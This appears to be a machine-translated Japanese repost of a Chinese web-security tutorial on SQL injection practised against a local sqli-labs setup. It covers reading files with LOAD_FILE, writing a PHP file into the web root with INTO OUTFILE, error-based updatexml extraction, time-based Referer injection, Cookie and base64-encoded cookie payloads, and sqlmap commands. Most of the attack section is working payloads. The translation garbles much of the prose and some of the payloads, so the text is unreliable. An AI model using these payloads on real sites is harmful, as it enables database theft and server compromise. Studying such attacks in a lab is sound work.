Webセキュリティ攻撃と守備の学習--07-(MySQLの注入は、読み取りと書き込みのファイル、HTTPヘッダSQLインジェクション、HTTPのUser-Agentインジェクション、HTTPリファラー注入、クッキーの注射)(強調)

1、MySQLの注入は、読み取りと書き込みのファイル

浸透プロセスの間にMySQLデータベースを使用することができる、またはそれ以上の機能は、データを読み取ることに加えて、ファイルを読み取ることができる(十分な権限場合)

前提を読みます

  • 1.利用者は、権利root権限で可能な限り、高い十分にあります
  • 2.secure_file_priv NOT NULL

図Secure_file_priv。
人為的にsecure_file_privのデフォルト値を設定する必要があります

ここに画像を挿入説明
データベース構成ファイルを変更します。
ここに画像を挿入説明
Phpstudy2018、再検証、再起動、ファイルを保存した後:

ここに画像を挿入説明

ファイルの内容を読みます

http://127.0.0.1/sqli/Less-1/?id=-1組合1を選択し、LOAD_FILE( 'D:\ 1.TXT')、3 - +

http://127.0.0.1/sqli/Less-1/?id=-1組合は1、LOAD_FILE選択します( 'C:\ Users \ユーザー管理を\デスクトップ\ SQLMAP \ sqlmapproject-SQLMAP-3b7dd2c \ target.txt')、 3 - +
ここに画像を挿入説明

MySQLのオープンファイルの書き込み

「%一般的な%」のような変数を示し ;#のデフォルトはオフになっている
の集合グローバルgeneral_log =;

ここに画像を挿入説明
ファイルの書き込みを開始するSQL:

http://127.0.0.1/sqli/Less-7/?id=-1 '))組合1を選択し、' <PHPのphpinfo();??>」、3 OUTFILEへの 'C:\\ユーザー\\管理者\\デスクトップ\\ SQLMAP \\ sqlmapproject-SQLMAP-3b7dd2c \\ target.txt' - +

ファイルパスがスラッシュ間隔を倍にしなければならないことを注意 OUTFILEには、以前のSQLクエリの結果は、パスのフォルダにバックを書かれています。

"<?phpののphpinfo();?>" http://127.0.0.1/sqli/Less-7/?id=-1' ))組合1を選択し、G」OUTFILEへの3:\\ phpstudy2018 \\ PHPTutorial \\ \\ WWW SQLI \\少ない-7 \\ 1.php」 - +

読み取りと書き込みのファイルに使用SQLMAP

パイソンsqlmap.py -u「http://127.0.0.1/sqli/Less-7/?id=1」--file-読み「D:\\ 1.TXT」
ここに画像を挿入説明

図2に示すように、HTTPヘッダSQLインジェクション

はじめにHTTPヘッダインジェクション
セキュリティ意識のケースでは、より多くの注意、多くのサイトは、脆弱性を防止しています。そのようなSQLインジェクションのように、パラメータは、特定の手段がコードを濾過することをユーザによって提出されます。
ユーザから直接パラメータをフィルタリングするが、HTTPヘッダで送信内容は、おそらく全くフィルタリングは存在しないです。

UPDATEXML関数
UPDATEXML(XML_document、XPath_string、NEW_VALUE) ;
最初のパラメータ:XML_document文字列の形式は、XMLドキュメントオブジェクトの名前として、本明細書ドクある
XPath_string(XPath文字列形式):第二引数
第三のパラメータ:NEW_VALUE 、文字列の形式は、見つかった修飾されたデータを交換します

  • HTTPのUser-Agent注入
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1' = '1
0x7e是转义字符~

出力バージョン情報
ここに画像を挿入説明
ここに画像を挿入説明
出力データベース名

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1' = '1
0x7e是转义字符~

ここに画像を挿入説明
カーリー手法やツールのテスト別の仮想マシン:
ここに画像を挿入説明
「1'かは、=」名探偵コナン1次のように。

# ' or '1'='1        报错信息
正常sql语句如下
select * from users where id = '1';

推导出闭合语句为:
select * from users where id = '1‘ or ’1‘=’1 ';      闭合成功

ここに画像を挿入説明
ここに画像を挿入説明

  • HTTPリファラーの注射
' or if(1=1,sleep(5),null)  or '1'='1

ここに画像を挿入説明
ここに画像を挿入説明
テストSQLMAP安全
フォームポスト噴射検索SQLMAP自動的に
SQLインジェクション検出するSQLMAP指定されたパラメータを
SQLMAPのリファラは続いリファラに注入*又は*

2、クッキーの注射

HTTPヘッダインジェクション説明
サーバーは、HTTPトランスポートの状態を決定するために、情報画面と定期的な保守情報のいずれかを含むようにクッキーを使用することができます。クッキー最も古典的なアプリケーションは、ユーザーがサイトをログインしたかどうかを判断することです。
ここに画像を挿入説明
クッキー注入
クッキーパラメータがフィルタリング操作を渡す送信クッキーパラメータコードを使用してではなく。SQLインジェクションの脆弱性につながります。

注入されたペイロード

クッキー:のuname =管理者または1 = 1 - +
クッキー:のuname =管理者とUPDATEXML(1、CONCAT(0x7Eを、バージョン()、0x7Eを)、1) - +
ここに画像を挿入説明
ここに画像を挿入説明

SQLMAP安全性試験

SQLMAP -r target.txt --level 3 --batch
ここに画像を挿入説明

クッキー注入Base64で
Base64では、説明
のプロセスから文字へのbase64バイナリエンコーディングは、それはHTTP環境で長い識別情報を送信するために使用することができます。BASE64は、base64バイナリデータ表現64の印刷可能文字に基づいて、バイトコードをコードする8ビットの伝送のための最も一般的なネットワークの一つです。

元のコンテンツは、(変換されたバックすることができる)は、6つを取るし、新しいコンテンツを形成するために、2つの最高0を埋めるために左から右に、バイナリに変換され

符号化規則

  • 1. 3文字4つの文字に
  • 2.すべての76文字と改行
  • 3.最後に、我々はアドレスターミネータに必要

クッキーのBase64ジェクトコード解析
base64で暗号化URL

報告された警告した場合:日付は():php.iniの設定date.timezoneでは、後に設定PRC、されていますdate.timezoneで= PRC
Base64で暗号注入文を使用して、SQLインジェクションクッキーを完了するために、対応する位置に挿入され、脆弱性を検出します。

ここに画像を挿入説明
保存された再開変更後の
ここに画像を挿入説明
ここに画像を挿入説明
平文「または1. 1 =# 以下、暗号化)

IiBvciAxPTEgIw ==

SQLMAP安全性試験

パイソンsqlmap.py -r target.txt --level 3 --tamper base64encode.py

公開された60元の記事 ウォンの賞賛9 ビュー5041

おすすめ

転載: blog.csdn.net/weixin_42118531/article/details/104626207